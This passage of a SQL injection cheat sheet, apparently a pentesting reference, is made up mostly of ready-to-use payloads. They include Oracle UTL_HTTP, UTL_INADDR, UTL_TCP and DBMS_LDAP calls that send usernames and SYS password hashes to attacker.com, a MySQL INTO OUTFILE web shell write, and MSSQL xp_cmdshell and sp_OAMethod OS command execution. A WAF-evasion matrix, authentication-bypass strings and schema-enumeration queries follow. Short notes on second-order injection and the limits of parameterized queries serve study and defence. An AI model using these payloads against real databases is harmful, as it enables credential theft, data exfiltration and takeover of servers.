Oracle — UTL_HTTP (HTTP GET with data in URL path)
'+UTL_HTTP.REQUEST('
http:
//attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--
Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy!
Oracle — UTL_INADDR (DNS exfiltration — often bypasses HTTP restrictions)
'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='
SYS
')||'
.
attacker
.
com'
)
--
Attacker sees:
HASH_VALUE.attacker.com
DNS query → read password hash.
Oracle — UTL_SMTP / UTL_TCP
-- Email large data dumps:
UTL_SMTP
.
SENDMAIL
(
.
.
.
)
-- send query results via email
-- Raw TCP socket:
UTL_TCP
.
OPEN_CONNECTION
(
'attacker.com'
,
80
)
MySQL — DNS via LOAD_FILE (Windows + UNC path)
SELECT
LOAD_FILE
(
'\\attacker.com\share'
)
-- Triggers DNS lookup before connection attempt
-- Works on Windows hosts with outbound SMB
MySQL — INTO OUTFILE (in-band filesystem write)
SELECT
""
INTO
OUTFILE
'/var/www/html/shell.php'
-- Requirements: FILE privilege, writable web root, secure_file_priv=''
6. ESCALATION — OS COMMAND EXECUTION
MSSQL — xp_cmdshell (if enabled, or if sysadmin)
'; EXEC xp_cmdshell('
whoami
')--
-- Enable if disabled (requires sysadmin):
'
;
EXEC
sp_configure
'show advanced options'
,
1
;
RECONFIGURE
--
'; EXEC sp_configure '
xp_cmdshell'
,
1
;
RECONFIGURE
--
MySQL — UDF (User Defined Functions)
Write malicious shared library to filesystem, then
CREATE FUNCTION ... SONAME
.
Oracle — Java Stored Procedures
-- Create Java class:
EXEC
dbms_java
.
grant_permission
(
'SCOTT'
,
'SYS:java.io.FilePermission'
,
'<>'
,
'execute'
)
;
-- Then exec OS commands via Java Runtime
7. SECOND-ORDER INJECTION
Concept
User input is stored safely (parameterized), but later
retrieved as trusted data
and concatenated into a new query without re-sanitization.
Example attack flow
:
Register username:
admin'--
Application safely inserts this into users table
Password change function fetches username from session (trusted!) and builds:
UPDATE
users
SET
password
=
'newpass'
WHERE
username
=
'admin'
--'
Comment strips the condition → updates
admin's
password
Key insight
Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data.
8. PARAMETERIZED QUERY BYPASS SCENARIOS
Parameterized queries do NOT prevent SQLi when:
Table/column names are user-controlled
— params can't parameterize identifiers:
-- UNSAFE even with params:
"SELECT * FROM "
+
tableName
+
" WHERE id = ?"
Mitigation: whitelist-validate table/column names.
Partial parameterization
— some fields concatenated, others parameterized:
"SELECT * FROM users WHERE type='"
+
userType
+
"' AND id=?"
-- userType not parameterized → injection
IN clause
with dynamic count (common mistake in ORMs):
SELECT
*
FROM
items
WHERE
id
IN
(
1
,
2
,
?
)
-- only last is parameterized
Second-order
— data retrieved from DB assumed clean, re-used in query without params.
9. FILTER EVASION TECHNIQUES
Comment Injection (break keywords)
SEL
//
ECT
UN
//
ION
1
UN
//
ION
ALL
SEL
//
ECT
NULL
--
Case Variation
UnIoN
SeLeCt
URL Encoding
%
55
NION
-- U
%
53
ELECT
-- S
Whitespace Alternatives
SELECT
//
username
//
FROM
//
users
SELECT
%
09
username
%
09
FROM
%
09
users
-- tab
SELECT
%
0
ausername
%
0
aFROM
%
0
ausers
-- newline
String Construction (bypass literal-string detection)
-- MySQL concatenation without quotes:
CHAR
(
117
,
115
,
101
,
114
,
110
,
97
,
109
,
101
)
-- 'username'
-- Oracle:
CHR
(
117
)
||
CHR
(
115
)
||
CHR
(
101
)
||
CHR
(
114
)
-- MSSQL:
CHAR
(
117
)
+
CHAR
(
115
)
+
CHAR
(
101
)
+
CHAR
(
114
)
10. DATABASE METADATA EXTRACTION
MySQL
SELECT
schema_name
FROM
information_schema
.
schemata
SELECT
table_name
FROM
information_schema
.
tables
WHERE
table_schema
=
database
(
)
SELECT
column_name
FROM
information_schema
.
columns
WHERE
table_name
=
'users'
MSSQL
SELECT
name
FROM
master
.
.
sysdatabases
SELECT
name
FROM
sysobjects
WHERE
xtype
=
'U'
-- user tables
SELECT
name
FROM
syscolumns
WHERE
id
=
OBJECT_ID
(
'users'
)
Oracle
SELECT
owner
,
table_name
FROM
all_tables
SELECT
column_name
FROM
all_tab_columns
WHERE
table_name
=
'USERS'
SELECT
username
,
password
FROM
dba_users
-- requires DBA
PostgreSQL
SELECT
datname
FROM
pg_database
SELECT
tablename
FROM
pg_tables
WHERE
schemaname
=
'public'
SELECT
column_name
FROM
information_schema
.
columns
WHERE
table_name
=
'users'
11. STORED PROCEDURE ABUSE
MSSQL — sp_OAMethod (COM automation)
DECLARE
@o
INT
EXEC
sp_OACreate
'wscript.shell'
,
@o
OUT
EXEC
sp_OAMethod
@o
,
'run'
,
NULL
,
'cmd.exe /c whoami > C:\out.txt'
Oracle — DBMS_LDAP (outbound LDAP = DNS exfil)
SELECT
DBMS_LDAP
.
INIT
(
(
SELECT
password
FROM
dba_users
WHERE
username
=
'SYS'
)
||
'.attacker.com'
,
389
)
FROM
dual
12. QUICK REFERENCE — INJECTION TEST STRINGS
' -- break string context
'' -- escaped quote (test handling)
' OR 1=1-- -- auth bypass attempt
' OR 'a'='a -- alternate auth bypass
'; SELECT 1-- -- statement termination
' UNION SELECT NULL-- -- UNION test
' AND 1=1-- -- boolean true
' AND 1=2-- -- boolean false (different response → injectable)
1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay
1 AND SLEEP(3)-- -- MySQL time delay
1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay
13. WAF BYPASS MATRIX
Technique
Blocked
Bypass
Space filtered
SELECT * FROM
SELECT/////FROM
,
SELECT%0a%0aFROM
Comma filtered
UNION SELECT 1,2,3
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
Quote filtered
'admin'
0x61646D696E
(hex),
CHAR(97,100,109,105,110)
OR/AND filtered
OR 1=1
||1=1,
&&1=1
,
DIV 0
= filtered
id=1
id LIKE 1
,
id REGEXP '^1$'
,
id IN (1)
,
id BETWEEN 1 AND 1
SELECT filtered
Use
handler
(MySQL),
PREPARE
+hex, or stacked queries
information_schema filtered
mysql.innodb_table_stats
,
sys.schema_table_statistics
Additional WAF bypass patterns:
Polyglot:
SLEEP(1)/' or SLEEP(1) or '" or SLEEP(1) or "/
Routed injection:
1' UNION SELECT 0x(inner_payload_hex)-- -
where inner payload is another full query hex-encoded
Second Order: inject into storage, trigger when data is used in another query later
PDO emulated prepare: when
PDO::ATTR_EMULATE_PREPARES=true
, stacked queries work even with parameterized-looking code
14. WAF BYPASS MATRIX
No-Space Bypass
SELECT
//
username
//
FROM
//
users
SELECT
(
username
)
FROM
(
users
)
No-Comma Bypass
-- UNION with JOIN instead of comma:
UNION
SELECT
*
FROM
(
SELECT
1
)
a
JOIN
(
SELECT
2
)
b
JOIN
(
SELECT
3
)
c
-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)
-- LIMIT alternative: LIMIT 1 OFFSET 0
Polyglot Injection
SLEEP
(
1
)
/' or SLEEP(1) or '" or SLEEP(1) or "/
Routed Injection
-- First query returns string used as input to second query:
'
UNION
SELECT
CONCAT
(
0x222c
,
(
SELECT
password
FROM
users
LIMIT
1
)
)
--
-- The returned value becomes part of another SQL context
Second-Order Injection
-- Step 1: Register username: admin'--
-- Step 2: Trigger password change (uses stored username in SQL)
-- UPDATE users SET password='new' WHERE username='admin'--'
PDO / Prepared Statement Edge Cases
// Unsafe even with PDO when query structure is dynamic:
$pdo
->
query
(
"SELECT * FROM "
.
$_GET
[
'table'
]
)
;
// Or when using emulated prepares with multi-query:
$pdo
->
setAttribute
(
PDO
::
ATTR_EMULATE_PREPARES
,
true
)
;
Entry Point Detection (Unicode tricks)
U+02BA ʺ (modifier letter double prime) → "
U+02B9 ʹ (modifier letter prime) → '
%%2727 → %27 → '